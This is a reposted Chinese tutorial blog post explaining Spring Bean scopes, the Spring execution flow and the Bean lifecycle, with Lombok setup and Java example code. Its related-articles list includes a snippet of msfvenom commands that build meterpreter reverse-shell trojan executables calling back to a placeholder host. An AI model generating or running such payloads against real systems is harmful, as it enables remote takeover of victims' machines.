【Spring学习】Bean对象的作用域和生命周期,了解了这些你就真正熟悉spring框架了.

news2024/11/24 19:25:21

前言:
大家好,我是良辰丫,我们已经学会了Spring的存取,今天我们将一起来学习Bean对象的作用域和生命周期.💌💌💌

🧑个人主页：良辰针不戳
📖所属专栏：javaEE进阶篇之框架学习
🍎励志语句：生活也许会让我们遍体鳞伤，但最终这些伤口会成为我们一辈子的财富。
💦期待大家三连，关注，点赞，收藏。
💌作者能力有限，可能也会出错，欢迎大家指正。
💞愿与君为伴，共探Java汪洋大海。

目录

  • 1. 初识Bean的作用域
    • 1.1 使用Lombok
    • 1.2 Beqan作用域出现的问题
  • 2. 进一步认识Bean的作用域
    • 2.1 Bean的常见作用域
      • 2.1.1 singleton
      • 2.1.2 prototype
      • 2.1.3 request
      • 2.1.4 session
      • 2.1.5 application（了解即可）
      • 2.1.6 websocket（了解即可）
    • 2.2 单例作⽤域(singleton) VS 全局作⽤域(application)
    • 2.3 给Bean设置作用域
  • 3. spring的执行流程
  • 4. Bean对象的生命周期
    • 4.1 描述Bean对象的生命周期
    • 4.2 例子来加深认识

1. 初识Bean的作用域

  • 所谓Bean的作用域 是Bean在spring框架中(或者项目中)的某种行为,这是专业术语.
  • 其实我们从接触编程开始,我们就已经接触了作用域,全局变量和局部变量可以理解为不同的作用域.

接下来,我们来看一个简单的例子,来看一下Bean对象作用域可能出现的问题,在此之前,我们先了解idea里面的一个插件Lombok.

1.1 使用Lombok

  1. 我们首先要去安装这个插件,点击File,进入设置settings,找到插件按钮plugins,进去搜索Lombok,然后进行安装.

在这里插入图片描述
在这里插入图片描述

  1. 引入Lombok的依赖.

进入maven中央仓库搜索Lombok,点击使用量最多的,复制依赖,引入到idea的pom.xml中.

在这里插入图片描述

<!-- https://mvnrepository.com/artifact/org.projectlombok/lombok -->
<dependency>
    <groupId>org.projectlombok</groupId>
    <artifactId>lombok</artifactId>
    <version>1.18.24</version>
    <scope>provided</scope>
</dependency>

在这里插入图片描述

  1. 使用Lombok的注解.

Lombok里面有很多注解,后面会详细介绍,咱们先来简单介绍一个set和get的注解.

  • 我们可以写两个注解@Setter和@Getter,这两个注解有什么用呢?如果我们类的属性有几百个呢?别说几百个,就是几十个,我们写set与get的代码也会看上去不舒服,那么这两个注解就可以很好的解决这个问题.这两个注解就是我们刚刚的Lombok引入的,只需要两行注解就可以实现get与set.
  • 两行注解也不想写呢?我们可以使用@Data注解,这个注解包含许多注解的功能,目前不介绍,大家只需要知道这一个注解就包含set和get两个注解.而且还有一个好处,这个注解自带tostring方法.
import lombok.Data;
@Data
public class Student {
    private int id;
    private String name;
  }

1.2 Beqan作用域出现的问题

因为作用域会出现问题,我们才会进行研究它,那么我们先来看一个简单的例子吧.

代码如下,大家也可以去运行一下,观察结果.

package com.demo.Controller;
import lombok.Data;
@Data
public class User {
    private int id;
    private String name;
    private String password;
}

package com.demo.Controller;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Scope;
import org.springframework.stereotype.Component;
/**
 * 作者：张三
 */
@Component
public class UserBeans {
    @Bean
    public User user() {
        User user = new User();
        user.setId(1);
        user.setName("张三");
        user.setPassword("12345");
        return user;
    }
}

package com.demo.Controller;

import com.demo.Controller.User;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;

/**
 * author:李四
 */
@Controller
public class UserController {

    @Autowired
    private User user;

    public void getUser() {
        System.out.println("张三 : " + user);
        User u = user;
        u.setName("李四");
        System.out.println("李四 : " + u);
    }

}

package com.demo.Controller;

import org.springframework.stereotype.Controller;

import javax.annotation.Resource;

/**
 * author：王五
 */
@Controller
public class UserController2 {

    @Resource
    private User user;

    public void getUser() {
        System.out.println("王五 : " + user);
    }

}

import com.demo.Controller.UserController2;
import com.demo.Controller.UserController;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class App {
    public static void main(String[] args) {
        ApplicationContext context =
                new ClassPathXmlApplicationContext("spring.xml");
        UserController user1 = context.getBean("userController", UserController.class);
        user1.getUser();

        UserController2 user2 = context.getBean("userController2", UserController2.class);
        user2.getUser();
    }
}

运行结果如下 :

在这里插入图片描述

简单分析 :

  • 张三给对象赋初值,通过张三这个类,打印出来的还是张三.
  • 把张三的类注入到李四里面,李四通过一个变量赋值张三的所有信息,然后修改名字为李四,打印的是李四,没有问题.
  • 王五把张三这里类注入到自己这里,没做任何操作,但是结果是张三的信息.

总结 :

  • 之所以会发生上面的情况,我们的Bean对象,默认情况下是单例模式,所有的人都会使用相同的对象,因此张三,李四,王五其实共有一个对象.
  • 单例模式可以提高性能,因此spring的Bean对象作用域默认为单例模式,只是猜测官方这样设计哈.

2. 进一步认识Bean的作用域

  • 我们已经认识到程序中变量的可用范围叫做作用域,我们也可以理解为变量的使用范围.
  • 上面已经介绍了官方概念,Bean的作用域是Bean在spring整个框架的某种行为模式.单例模式的作用域就是表示Bean对象在整个spring中只有一份,全局共享同一个对象.

2.1 Bean的常见作用域

我们经常使用的作用域有6种,我在使用Bean对象的时候,通常会指定作用域,前两种是我们这篇文章要讲的,后面四种是在Spring MVC中涉及.

  1. singleton: 单例作用域
  2. prototype: 原型作用域(多例作用域)
  3. request: 请求作用域
  4. session: 回话作用域
  5. application: 全局作用域
  6. websocket: HTTP WebSocket 作用域

2.1.1 singleton

  • 官⽅说明：(Default) Scopes a single bean definition to a single object instance for each Spring IoC container.
  • 描述：该作⽤域下的Bean在IoC容器中只存在⼀个实例：获取Bean（即通过applicationContext.getBean等⽅法获取）及装配Bean（即通过@Autowired注⼊）都是同⼀个对象。
  • 场景：通常⽆状态的Bean使⽤该作⽤域。⽆状态表示Bean对象的属性状态不需要更新.
  • 备注：Spring默认选择该作⽤域

2.1.2 prototype

  • 官⽅说明：Scopes a single bean definition to any number of object instances.
  • 描述：每次对该作⽤域下的Bean的请求都会创建新的实例：获取Bean（即通过applicationContext.getBean等⽅法获取）及装配Bean（即通过@Autowired注⼊）都是新的对象实例。
  • 场景：通常有状态的Bean使用该作用域.

2.1.3 request

  • 官⽅说明：Scopes a single bean definition to the lifecycle of a single HTTP request. That is,each HTTP request has its own instance of a bean created off the back of a single bean
    definition. Only valid in the context of a web-aware Spring ApplicationContext.
  • 描述：每次http请求会创建新的Bean实例，类似于prototype
  • 场景：⼀次http的请求和响应的共享Bean
  • 备注：限定SpringMVC中使⽤

2.1.4 session

  • 官⽅说明：Scopes a single bean definition to the lifecycle of an HTTP Session. Only valid in the context of a web-aware Spring ApplicationContext.
  • 描述：在⼀个http session中，定义⼀个Bean实例
  • 场景：⽤户回话的共享Bean, ⽐如：记录⼀个⽤户的登陆信息
  • 备注：限定SpringMVC中使⽤

2.1.5 application（了解即可）

  • 官⽅说明：Scopes a single bean definition to the lifecycle of a ServletContext. Only valid in the context of a web-aware Spring ApplicationContext.
  • 描述：在⼀个http servlet Context中，定义⼀个Bean实例
  • 场景：Web应⽤的上下⽂信息，⽐如：记录⼀个应⽤的共享信息
  • 备注：限定SpringMVC中使⽤

2.1.6 websocket（了解即可）

  • 官⽅说明：Scopes a single bean definition to the lifecycle of a WebSocket. Only valid in the context of a web-aware Spring ApplicationContext.
  • 描述：在⼀个HTTP WebSocket的⽣命周期中，定义⼀个Bean实例
  • 场景：WebSocket的每次会话中，保存了⼀个Map结构的头信息，将⽤来包裹客户端消息头。第⼀次初始化后，直到WebSocket结束都是同⼀个Bean。
  • 备注：限定Spring WebSocket中使⽤

2.2 单例作⽤域(singleton) VS 全局作⽤域(application)

  • singleton 是 Spring Core 的作⽤域；application 是 Spring Web 中的作⽤域；
  • singleton 作⽤于 IoC 的容器，⽽ application 作⽤于 Servlet 容器。

2.3 给Bean设置作用域

使⽤ @Scope 标签就可以⽤来声明 Bean 的作⽤域.

在这里插入图片描述

那么,我们来看一下运行结果.

在这里插入图片描述
王五调用张三的实例,虽然李四在此之前已经把名字修改为李四了,但是王五调用的时候,又创建了新的实例,结果仍然是张三.

设置作用域的两种方式:

  • 直接设置值：@Scope(“prototype”)
  • 使⽤枚举设置(全局变量的方式)：@Scope(ConfigurableBeanFactory.SCOPE_PROTOTYPE)

3. spring的执行流程

  • 启动容器,也就是启动项目.
  • 加载配置文件,进行初始化.
    ①使用xml配置文件注册Bean.
    ②配置Bean对象的扫描路径.
  • 将Bean存储到spring中,通过类注解进行扫描和装配.
    @Controller
    @Service
    @Component
    @Repository
  • 将Bean对象从spring中取出来,装配到相应的类上.
    @Autowired
    @Resource

小结Bean 执⾏流程（Spring 执⾏流程）：

  • 启动 Spring 容器
  • 实例化 Bean（分配内存空间，从⽆到有）
  • Bean 注册到 Spring 中（存操作）
  • 将 Bean 装配到需要的类中（取操作)。

4. Bean对象的生命周期

4.1 描述Bean对象的生命周期

⽣命周期指的是⼀个对象从诞⽣到销毁的整个⽣命过程，我们把这个过程就叫做⼀个对象的⽣命周期.

  • 实例化Bean对象(对应JVM中的加载,从无到有,将字节码转换成内存中的对象,只是分配了内存).比喻成买了一个空壳房子.
  • 设置属性(Bean对象的注入和装配).购买装修材料.
  • Bean的初始化.房子进行装修.
    实现了各种Aware通知的方法.
    初始化的前置工作.
    执行@PostConstruct初始化方法,依赖注入操作之后被执行.
    执行自己指定的init-method方法
    执行BeanPostProcessor初始化的后置方法.
  • 使用Bean.
  • 销毁Bean.

在这里插入图片描述

实例化和初始化有什么区别呢?

  • 实例化和属性设置是 Java 级别的系统“事件”，其操作过程不可⼈⼯⼲预和修改；
  • ⽽初始化是给开发者提供的，可以在实例化之后，类加载完成之前进⾏⾃定义“事件”处理。

为什么先设置属性再进行初始化呢?
就像房子,我们有了装修材料才能进行装修,这也是一样,类比一下,有了属性才能进行初始化,什么属性都没有,给谁进行初始化呢?

4.2 例子来加深认识

下面的例子是为了证明先注入依赖,然后再进行初始化.

package com.demo.service;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

import javax.annotation.PostConstruct;

@Service
public class AService {

    @Autowired
    private BService bComponent; 

    @PostConstruct
    public void postConstruct() {
        //bComponent.sayHi(); // 先 ① 再 ② 不会有问题，但如果先 ② 再 ① 就会空指针报错
        System.out.println("执行了 A 对象的 PostConstruct 方法");
    }

}

package com.demo.service;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

import javax.annotation.PostConstruct;

@Service
public class BService {

    @Autowired
    private CService component;

    @PostConstruct
    public void postConstruct() {
        System.out.println("执行了 B 对象的 PostConstruct 方法");
    }

    public void sayHi() {
        System.out.println("hi,BComponent~");
    }

}

package com.demo.service;

import org.springframework.stereotype.Service;

import javax.annotation.PostConstruct;

@Service
public class CService {
    @PostConstruct
    public void postConstruct() {

        System.out.println("执行了 C 对象的 PostConstruct 方法");
    }
}

 public static void main(String[] args) {
        ApplicationContext context =
                new ClassPathXmlApplicationContext("spring.xml");
        AService aService = context.getBean("AService",AService.class);
        //aService.postConstruct();
    }

在这里插入图片描述

  • 我们调用A,但是A注入了B的依赖,那么进入 B,B又注入了C的依赖.
  • 然后反过来一次执行CBA,就像套娃的过程.

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/609038.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

单源最短路的综合应用

单源最短路的综合应用

1.新年好&#xff08;dfs最短路&#xff09; 信息学奥赛一本通&#xff08;C版&#xff09;在线评测系统 (ssoier.cn)http://ybt.ssoier.cn:8088/statusx.php?runidx17472125 先两两求一遍最短路&#xff0c;求一个地方到另一个地方的最短路&#xff0c;在枚举5个拜访的顺序…
阅读更多...
Vue3 小兔鲜：Layout-静态模版结构搭建

Vue3 小兔鲜：Layout-静态模版结构搭建

Vue3 小兔鲜4&#xff1a;Layout-静态模版结构搭建 Date: May 31, 2023 目标效果&#xff1a; 分成Nav、Heade、二级路由出口、Footer区域 组件结构快速搭建 Nav <script setup></script><template><nav class"app-topnav"><div clas…
阅读更多...
Android和windows（msf渗透）

Android和windows（msf渗透）

msf生成木马的语句 #windows#x64 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTx.x.x.x LPORT7777 -f exe > shell.exe#x68 msfvenom -p windows/meterpreter/reverse_tcp LHOSTx.x.x.x LPORT5555 -a x86 --platform Windows -f exe > shell.exe#linux msfven…
阅读更多...
【TOP生物信息】使用R包Symphony自动注释细胞类型

【TOP生物信息】使用R包Symphony自动注释细胞类型

扫码关注下方公粽号&#xff0c;回复推文合集&#xff0c;获取400页单细胞学习资源&#xff01; 本文共计1884字&#xff0c;阅读大约需要6分钟&#xff0c;目录如下&#xff1a; Symphony 包基本介绍 Symphony 包安装 Symphony 包使用 1.使用已有的参考数据集进行细胞注释2…
阅读更多...
LinuxC编程——文件IO

LinuxC编程——文件IO

目录 一、概念⭐⭐二、特点⭐⭐⭐三、函数⭐⭐⭐⭐3.1 打开文件 open3.2 关闭文件 close3.3 读写操作3.4 定位操作 lseek 四、文件IO与标准IO的对比脑图 在C语言的标准IO库中的库函数&#xff0c;如fclose、fopen,、fread、fwrite&#xff0c;提供的是高层服务&#xff1b;而Li…
阅读更多...
数据在内存中的存储（超详细讲解）

数据在内存中的存储（超详细讲解）

目录 浮点数家族 浮点数类型在内存中的存储 一.为什么说整型和浮点数在内存中存储方式不同&#xff08;证明&#xff09; 二.浮点数的存储规则 浮点数在计算机内部的表示方法 1.对于M的存储和取出规则 2.对于E的存储和取出时的规则 对前面代码结果进行解释&#xff1a; …
阅读更多...
Kubernetes_APIServer_证书_03_四个静态Pod Yaml文件解析

Kubernetes_APIServer_证书_03_四个静态Pod Yaml文件解析

文章目录 前言一、APIServer Yaml文件解析APIServer证书文件APIServer三种探针启动探针可读性探针生存性探针 APIServer其他参数APIServer其他配置项 二、Scheduler Yaml文件解析Scheduler证书配置Scheduler两个探针启动探针生存性探针 Scheduler其他参数Scheduler其他配置项 三…
阅读更多...
测试各种变量是否是线程安全的

测试各种变量是否是线程安全的

前提条件,把这个类设成是单例模式,也就是说,这个类只能创建一个对象,然后多个线程在一个对象中去争抢资源. 1.int类型的成员变量number, (private int number) 线程共享 public class Stu {private int number;private String age;private String math;private i…
阅读更多...
【sentinel】漏桶算法在Sentinel中的应用

【sentinel】漏桶算法在Sentinel中的应用

漏桶算法 漏桶算法介绍 漏桶算法&#xff0c;又称leaky bucket。 从图中我们可以看到&#xff0c;整个算法其实十分简单。首先&#xff0c;我们有一个固定容量的桶&#xff0c;有水流进来&#xff0c;也有水流出去。对于流进来的水来说&#xff0c;我们无法预计一共有多少水…
阅读更多...
内存池技术

内存池技术

为了学习池化技术以及后续自行实现一个仿tcmalloc的线程池&#xff0c;我们先浅浅的学习一下池化的概念&#xff0c;以及简单的实现一个定长的内存池。 文章目录 一&#xff1a;池化技术二&#xff1a;内存池三&#xff1a;内存池主要解决的问题四&#xff1a;malloc五&#x…
阅读更多...
原地顺时针旋转矩阵（leetcode 48.选择图像）

原地顺时针旋转矩阵（leetcode 48.选择图像）

本题目在leetcode上有原题48. 旋转图像 详细讲解 顺时针旋转90&#xff0c;横变竖&#xff0c;竖变横。按圈分解&#xff0c;一圈圈的单独转&#xff0c;由外圈到内圈&#xff0c;不断分解。 每一圈转到位了&#xff0c;整个矩阵就旋转好了。 那么&#xff0c;问题来了&…
阅读更多...
Photoshop史上最强更新，动动手指就能让AI替你修图

Photoshop史上最强更新，动动手指就能让AI替你修图

Photoshop 在最新的 Beta 版本中&#xff0c;融入了 Firely 智能 AI 创意填充功能&#xff0c;只要对图片进行简单地框选&#xff0c;就能实现生成对象、生成背景、扩展图像、移除对象以及更多创意功能&#xff0c;支持用自然语言输入指令&#xff0c;让 AI 替你完成创意填充。…
阅读更多...
Jmeter常用的两大性能测试场景你都知道吗？

Jmeter常用的两大性能测试场景你都知道吗？

目录 一、阶梯式场景 二、波浪式场景 一、阶梯式场景 该场景主要应用在负载测试里面&#xff0c;通过设定一定的并发线程数&#xff0c;给定加压规则&#xff0c;遵循“缓起步&#xff0c;快结束”的原则&#xff0c;不断地增加并发用户来找到系统的性能瓶颈&#xff0c;进而有…
阅读更多...
SpringCloud：分布式缓存之Redis分片集群

SpringCloud：分布式缓存之Redis分片集群

1.搭建分片集群 主从和哨兵可以解决高可用、高并发读的问题。但是依然有两个问题没有解决&#xff1a; 海量数据存储问题 高并发写的问题 使用分片集群可以解决上述问题&#xff0c;如图: 分片集群特征&#xff1a; 集群中有多个master&#xff0c;每个master保存不同数据 …
阅读更多...
管道通信详解

管道通信详解

目录 一、进程通信原理 二、什么是管道 三、创建一个匿名管道 四、fork共享管道的原理 五、管道的特点 六、4中场景 七、命名管道 八、命名管道通信的原理 九、创建一个命名管道 十、上实例 一、进程通信原理 我们知道进程间相互独立&#xff0c;具有独立性。那么我们…
阅读更多...
编译原理 SLR(1) 语法分析器的构建

编译原理 SLR(1) 语法分析器的构建

编译原理 SLR(1) 语法分析器的构建 在我的博客查看&#xff1a;https://chenhaotian.top/study/compilation-principle-slr1/ 实验三 自底向上语法分析器的构建 项目代码&#xff1a;https://github.com/chen2438/zstu-study/tree/main/%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%8…
阅读更多...
冈萨雷斯DIP第10章知识点

冈萨雷斯DIP第10章知识点

文章目录 10.2 点、线和边缘检测10.2.2 孤立点的检测10.2.3 线检测10.2.4 边缘模型 10.3 阈值处理10.3.4 使用图像平滑改进全局阈值处理10.3.5 使用边缘改进全局阈值处理10.4 使用区域生长、区域分离与聚合进行分割 分割依据的灰度值基本性质是&#xff1a;不连续性和相似性。本…
阅读更多...
计算机网络第二章——物理层（下）

计算机网络第二章——物理层（下）

提示&#xff1a;君子可内敛不可懦弱&#xff0c;面不公可起而论之 文章目录 2.1.7 数据交换方式为什么要进行数据交换数据交换的方式电路交换电路交换的优缺点报文交换报文交换的优缺分组交换分组交换的优缺点数据交换方式的选择数据报方式虚电路方式虚电路方式的特点数据报VS…
阅读更多...
HJ29 字符串加解密

HJ29 字符串加解密

描述 对输入的字符串进行加解密&#xff0c;并输出。 加密方法为&#xff1a; 当内容是英文字母时则用该英文字母的后一个字母替换&#xff0c;同时字母变换大小写,如字母a时则替换为B&#xff1b;字母Z时则替换为a&#xff1b; 当内容是数字时则把该数字加1&#xff0c…
阅读更多...
深入理解设计原则之依赖反转原则(DIP)【软件架构设计】

深入理解设计原则之依赖反转原则(DIP)【软件架构设计】

系列文章目录 C高性能优化编程系列 深入理解软件架构设计系列 深入理解设计模式系列 高级C并发线程编程 DIP&#xff1a;依赖反转原则 系列文章目录1、依赖反转原则的定义和解读2、稳定的抽象层3、依赖倒置原则和控制反转、依赖注入的联系小结 1、依赖反转原则的定义和解读 …
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023